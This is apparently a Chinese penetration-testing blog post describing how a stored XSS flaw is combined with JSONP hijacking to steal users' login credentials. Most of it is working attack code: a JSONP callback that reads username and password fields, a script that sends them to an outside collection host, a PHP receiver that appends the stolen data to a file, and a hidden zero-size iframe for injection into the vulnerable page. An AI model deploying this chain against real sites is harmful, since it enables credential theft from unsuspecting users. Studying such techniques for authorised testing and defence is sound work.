在做某项目安全测试时,发现在存在存储型Xss漏洞,可打用户Cookie,但Cookie的有效期比较短,所以有此篇配合组合拳

Jsonp劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。 

XSS的打用户的Cookie的在此不在演示

登录用户访问此链接

《组合拳:XSS+JSONP劫持打用户与密码》

生成 Josnp 劫持 Poc:弹出用户名与密码

<script>function jsonp(data){alert(‘UserName:’+data.mem_no+’\n’+’Password:’+data.passw);}</script>

<script src=”http://xxx.com/interface/action/login_state.jsp?callback=jsonp”></script>

查看结果

《组合拳:XSS+JSONP劫持打用户与密码》

把数据保存在本地,修改Jsonp 劫持Poc代码

<script type=”text/javascript”>

function jsonp(data) {

var xmlhttp = new XMLHttpRequest();

var dd = ‘UserName:—>’+data.mem_no+’  ‘+’Password:—>’+data.passw;

var grabberUrl = ‘http://maya66.net.cn/test.php?data=’ + JSON.stringify(dd);

xmlhttp.open(“GET”,grabberUrl,true);

xmlhttp.send();

}

</script>

<script src=”http://xxx.com/interface/action/login_state.jsp?callback=jsonp”></script>

接收数据页面代码

<?php

$data = $_GET[‘data’];

$str = “\r\n”;

$fh = fopen(‘data.txt’,’a’);

fwrite($fh,$data);

fwrite($fh,$str);

fclose($fh);

?>

配合Xss PoC

<iframe src=”http://maya66.net.cn/2.html” width=0 height=0></iframe>


案例演示:

在存在Xss处手入jsonp 劫持代码

《组合拳:XSS+JSONP劫持打用户与密码》

《组合拳:XSS+JSONP劫持打用户与密码》

登录用户查看发布的求购信息

《组合拳:XSS+JSONP劫持打用户与密码》

查看结果:

《组合拳:XSS+JSONP劫持打用户与密码》

成功打到用户的账号及密码


参考文章:

https://xz.aliyun.com/t/176

https://www.anquanke.com/post/id/86078